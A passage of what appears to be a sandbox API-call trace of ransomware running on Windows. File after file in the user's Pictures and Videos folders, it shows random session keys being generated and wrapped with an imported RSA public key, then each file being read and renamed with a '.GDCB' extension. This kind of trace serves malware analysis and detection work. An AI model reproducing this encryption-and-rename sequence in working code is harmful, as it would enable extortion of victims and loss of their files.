pdwDataLen=0x285f084*=0x4) returned 1 [0142.643] CryptEncrypt (in: hKey=0x37d840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.643] GetLastError () returned 0x0 [0142.643] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.643] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.647] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d800) returned 1 [0142.647] CryptGetKeyParam (in: hKey=0x37d800, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.647] CryptEncrypt (in: hKey=0x37d800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.647] GetLastError () returned 0x0 [0142.647] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.647] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\SVN91cv_iHYxat.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\svn91cv_ihyxat.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.647] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.648] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.648] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x95d5, lpOverlapped=0x0) returned 1 [0142.663] VirtualAlloc (lpAddress=0x0, dwSize=0x95e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.667] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\SVN91cv_iHYxat.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\svn91cv_ihyxat.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\SVN91cv_iHYxat.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\svn91cv_ihyxat.gif.gdcb")) returned 1 [0142.668] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.669] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.669] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.669] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.670] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.670] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.670] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.670] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.670] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0142.675] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37ddc0) returned 1 [0142.675] CryptGetKeyParam (in: hKey=0x37ddc0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.675] CryptEncrypt (in: hKey=0x37ddc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.675] GetLastError () returned 0x0 [0142.675] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.675] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.678] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dc80) returned 1 [0142.678] CryptGetKeyParam (in: hKey=0x37dc80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.678] CryptEncrypt (in: hKey=0x37dc80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.679] GetLastError () returned 0x0 [0142.679] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.679] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\Tg7hEW3R70Mvw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\tg7hew3r70mvw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.679] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.679] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.679] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xb25a, lpOverlapped=0x0) returned 1 [0142.691] VirtualAlloc (lpAddress=0x0, dwSize=0xb260, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.696] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\Tg7hEW3R70Mvw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\tg7hew3r70mvw.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\Tg7hEW3R70Mvw.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\tg7hew3r70mvw.bmp.gdcb")) returned 1 [0142.697] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.698] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.698] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.698] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.699] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.699] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.699] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.700] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0142.703] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37db80) returned 1 [0142.704] CryptGetKeyParam (in: hKey=0x37db80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.704] CryptEncrypt (in: hKey=0x37db80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.704] GetLastError () returned 0x0 [0142.704] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.704] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.707] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37de00) returned 1 [0142.708] CryptGetKeyParam (in: hKey=0x37de00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.708] CryptEncrypt (in: hKey=0x37de00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.708] GetLastError () returned 0x0 [0142.708] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.708] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\YK5YSXrT6pdJC.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\yk5ysxrt6pdjc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.708] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.708] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.708] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x13acd, lpOverlapped=0x0) returned 1 [0142.717] VirtualAlloc (lpAddress=0x0, dwSize=0x13ad0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.723] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\YK5YSXrT6pdJC.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\yk5ysxrt6pdjc.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\YK5YSXrT6pdJC.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\yk5ysxrt6pdjc.jpg.gdcb")) returned 1 [0142.723] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.723] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.723] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.723] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.727] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.727] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.727] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.727] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.731] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.731] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.731] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.731] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.734] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.735] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.748] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.749] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.749] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.749] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.750] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.750] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.750] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0142.754] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37da00) returned 1 [0142.755] CryptGetKeyParam (in: hKey=0x37da00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.755] CryptEncrypt (in: hKey=0x37da00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.755] GetLastError () returned 0x0 [0142.755] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.755] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0142.757] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d880) returned 1 [0142.757] CryptGetKeyParam (in: hKey=0x37d880, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.757] CryptEncrypt (in: hKey=0x37d880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.757] GetLastError () returned 0x0 [0142.757] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.757] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\0UtXt7xPb0GNpKjh.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\0utxt7xpb0gnpkjh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.757] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.757] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.757] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x10aa4, lpOverlapped=0x0) returned 1 [0142.768] VirtualAlloc (lpAddress=0x0, dwSize=0x10ab0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.773] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\0UtXt7xPb0GNpKjh.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\0utxt7xpb0gnpkjh.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\0UtXt7xPb0GNpKjh.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\0utxt7xpb0gnpkjh.flv.gdcb")) returned 1 [0142.777] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.778] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.778] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.778] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.778] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0142.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.778] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.778] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.778] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.778] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.780] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d8c0) returned 1 [0142.780] CryptGetKeyParam (in: hKey=0x37d8c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.780] CryptEncrypt (in: hKey=0x37d8c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.780] GetLastError () returned 0x0 [0142.781] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.781] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.782] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dec0) returned 1 [0142.782] CryptGetKeyParam (in: hKey=0x37dec0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.782] CryptEncrypt (in: hKey=0x37dec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.783] GetLastError () returned 0x0 [0142.783] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.783] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\2TGN8j_vaZgksKT.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\2tgn8j_vazgkskt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.783] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.783] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.783] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xad74, lpOverlapped=0x0) returned 1 [0142.793] VirtualAlloc (lpAddress=0x0, dwSize=0xad80, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.797] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\2TGN8j_vaZgksKT.mp4" (normalized: 